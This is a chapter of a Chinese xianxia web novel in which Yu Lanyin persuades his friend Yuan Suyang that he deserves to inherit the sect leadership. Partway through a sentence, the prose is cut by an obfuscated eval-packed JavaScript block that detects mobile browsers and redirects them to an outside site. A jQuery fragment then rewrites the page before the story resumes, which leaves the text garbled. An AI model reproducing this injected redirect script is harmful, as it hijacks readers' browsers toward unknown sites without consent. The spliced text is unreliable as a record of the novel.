72.心结

作品:《药郎

    拢虚“哈哈”一笑,转头朝元宿央道:“快,给真人还钱。”


    元宿央:“……”


    元宿央:“这和我有什么关系?”


    拢虚又朝着玉阑音“哈哈”一笑,随后提起了元宿央的耳朵。


    “别以为我不知道,你把你所有的家当都装你识海里了!瞧你那抠搜的样子!我堂堂玄天门掌门还能偷你钱不成!”


    元宿央被揪得“嘶嘶哈哈”喊疼。


    不忘一边试图反抗:“可是你是真拿啊,你上回……”


    “去去去!胡说八道!可别在真人面前胡咧咧抹黑我!”


    拢虚脸一黑,气得直接拍了一掌出去,把元宿央拍到地上眼冒金星。


    玉阑音没事人似的,就在一旁站着笑眯眯地看,也不说话。


    倒是温卓因为心疼玉阑音天寒地冻地待在外头太久,拦下了怒火中烧的拢虚。


    “拢虚掌门息怒。我和阑音今日是为结界一事而来,不知拢虚掌门可知此事?”


    有了台阶,拢虚好容易借坡下驴。


    他从容地搂了搂衣服,“这位小兄弟看来便是犬子口中常说的温卓了?快快同真人一同请进,北晔干冷,我们进屋慢谈。”


    玄天门作为北晔第一宗门,此时其实是有些安静地过分了。


    进了屋后,玉阑音甚至因为太过安静隐隐有些耳鸣。他不舒服地晃了晃头。


    温卓注意到了他的小动作,伸手替玉阑音揉了揉耳朵。


    一边向拢虚略颔首解释道:“宗门内太安静了。”


    拢虚和玉阑音是大几百年的交情。


    玉阑音是个什么样的人,他可真是太清楚了。


    看上去温和有礼,谁说话都笑着“好好好”,实际上他活像是个活在罩子里的人,同这个世界上的万事万物都隔着一层厚壁障。


    不过此刻拢虚也来不及纳罕面前这小孩子为什么能同玉阑音如此亲昵了。


    他面色沉沉,再不见方才点头哈腰的滑稽模样,“所为正是厌族一事。几位到来前半刻钟,方将宗门尽数长老派去云州各处。事态紧急,招待不周,二位见谅。”


    玉阑音周身发寒,看上去状态并不好。


    他半阖着眸子,唇色苍白,看上去暂时没有要开口的意思。


    注意到了玉阑音的心不在焉,拢虚面露担忧,递上沏好的茶。


    “结界受损情况比想象得严重,真人果然还是收了波及。现在感觉可还好?”


    玉阑音往温卓一侧倾倒,靠在了他的肩头。


    恹恹地掀起眼睑,随后抬手轻轻一下压,做了个“不必挂心”的手势。


    大概是因为玉阑音这人撒谎成性的毛病已经是众人皆知,在场的温卓和拢虚,没有一人因为他说了“没事”就松开眉头。


    “今日叫宿央回来,结界一事是其一,其二其实还是为了掌门继位一事。”拢虚说到这里就叹起气来,“真人你也知道的,我这身体连你也……”


    就在这时,元宿央终于吸溜着鼻血,踉踉跄跄地姗姗来迟。


    一进屋,三人的目光登时齐聚他身上。


    他“呼噜”地吸了下鼻血,“啊,怎么了?”


    拢虚叹口气,朝他摆了摆手,“没怎么,过来吧。”


    元宿央“哦”一声,老老实实过来挨着他爹和玉阑音坐下了。


    其实在玉阑音的记忆和认知里,元宿央其实对继承掌门之位似乎并没有这么抗拒。


    玉阑音还记得他们初识那次的大雨里。


    元宿央在那天说,他其实最怕的就是自己配不上拢虚的期待,被人发现自己其实真的只是有几分小聪明,除此以外一无所有。


    虽然当时的玉阑音对此的态度是模棱两可的不置可否,但实际上,他总觉得,尽管元宿央面上不显,但他说话时高抬的意气风发的眉眼,其实大概是比任何人都更想闯出一番天地。


    尽管这么多年过去了,记忆中的锋利逐渐被眼前插科打诨所取代。


    但玉阑音却总是能记起更早年的那个,郁郁寡欢却又神采飞扬的年轻人。


    果然,今日拢虚提到这件事情之后,元宿央当即就发了火。


    “爹,你要我说几遍?我说不做就是不做,和如今世态如何究竟有什么关系!”


    元宿央这人其实只是看着刁蛮,其实胆大心细,骨子里又很讲规矩。


    例如现在,他即便是吼着说喊着,依旧是没对拢虚落下任何一句重话。


    他气不过,胸口闷得发慌,脸上红红白白一阵,硬邦邦撂下一句“你们聊吧,我走了”,头也不回地摔门而出。


    拢虚看得直摇头,“这孩子……”


    许久没出声的玉阑音收回了送着元宿央走远的背影上的目光。


    随后他站起了身,不由分说地往外走,随意地朝拢虚摇了摇头,“别急,我去看看他。”


    愤而离席的元宿央并不难找。


    玉阑音刚出门,往右一转,便在树下看见到了元宿央蹲在树下的身影。


    玉阑音放轻了脚步,在他不远不近处就停下了脚步。


    温声问道:“在看什么呢?”


    元宿央的脊背猛地一僵,“太嵇?”


    他近乎慌乱地就站起身,不由分说地抓住玉阑音就要讲他往回拉,“你怎么来了?天这么冷,快回去!”


    不过瘦死的骆驼比马大,玉阑音即便是虚弱至此,手劲儿也不是一般人能比得了的。


    他一翻腕,一把按住了急匆匆的元宿央,“宿央,你知道我为什么而来。如果你真的有意让我早回去,就别再顾左右而言他。”


    元宿央手上挣脱不开,脸上表情晦涩难辨。


    终于,他像是败下阵来,肩膀猛地一垮,在干冷的天里重重地吐出一口白雾。


    “阑音,你记得我同你说过,我的天资很差,能有如今的修为其实是我爹找来一票炼丹师,一把一把丹药喂起来的么?”


    玉阑音不知道为什么他要提起那一日。


    不过他的确还记得。并且记忆犹新。


    “天资并不差,只是灵基薄一些,灵脉细一些。”


    一模一样的话,玉阑音再一次同他道。


    元宿央紧绷着的脸忽然忍不住地松懈了下来,他嗤


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14642479|146057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    笑一声。


    “你怎么还是这样。不过……我也差不多,听了你这话也还是很高兴。”


    玉阑音也笑了。


    两人之间颇有些剑拔弩张的气氛猛地缓和了下来。元宿央笑道:“别在这处说了。你的身体你我都有数,找个避风口再聊。”


    两人脚下动嘴也快,很快就找到一了个背风的小狭口。


    元宿央确认没有风能吹到玉阑音脸上,这才道:“太嵇,我知道我配不上这掌门之位,于情于理,都配不上。玄天门此处人杰地灵,我常和我爹说,随便捞几个都比我有能耐得多。我?我配么?”


    静静听着的玉阑音摇了摇头,罕见地打断了他的话。


    “宿央,我觉得你应该对你爹有些自信、有些了解。你真的觉得他是一个会在乎所谓的‘血缘’大过能力的人吗?”


    元宿央愣了愣。


    不过好在玉阑音也不是真的要他回答,很快他便自己继续道:“不是。于情于理,都不是,对吧?”


    他轻声咳了两声,“宿央,在十方宗,论修为,鹤生同期的师兄弟比他好得不是一星半点,可是我和观一还是一致推选他做了掌门,你觉得是为什么呢?”


    元宿央抿了抿唇,他似乎想说什么,但是最终是没有开口。


    玉阑音继续道:“我知道我一两句话打不开你几百年的心结,不过宿央,你信得过我吗?”


    元宿央点点头,“当然。”


    玉阑音终于露出了一丝笑意,“那你就听我说,宿央,你的心性在我认识的人中数一数二,不掺杂任何主观因素,哪怕是换了我,我也只会选择你来任下一任掌门。


    “你配得上,宿央。”


    他话音落下之后,元宿央久久没有回话。好半晌,他才抬手摸了摸鼻子,“……真的么?”


    “嗯?”玉阑音略一挑眉,“你方才刚说了信我的。”


    “那你也不能是为了让我高兴说假话啊……”元宿央哼哼两声,脸不知是冻红的还是羞红的,“知道了知道了,漂亮话都叫你说完了,显得我很不懂事似的。


    “不过我还是觉得……受之有愧,我知道我爹身体不是很好,不过今日人族厌族这一仗他大概还是能撑过去的。等我……带着战功凯旋后吧,到时候,我风风光光继任掌门,这样怎么样?你们这下总该满意了吧?”


    玉阑音不说话,只看着他笑。


    他笑眯眯的,把元宿央越看越不自在,脸也越来越红。


    终于,他恼羞成怒地跳了脚,将玉阑音往回去的路上推搡,“好了好了!笑屁笑!回去了!你这都快冻成冰雕了!温卓见了还不得活剥了我?”


    玉阑音好脾气地应和几声,由着他连拉带拽。


    这大概是这些日动荡里为数不多的好消息了。


    ——这当然不是指玄天门下一任掌门之事尘埃落定。


    只是……


    玉阑音看着元宿央红扑扑的,过于有生机的侧脸。


    他只是很庆幸。


    他很庆幸,身旁那个野心勃勃的少年,几百年几千里路,一路嬉笑怒骂,却一路没有走散。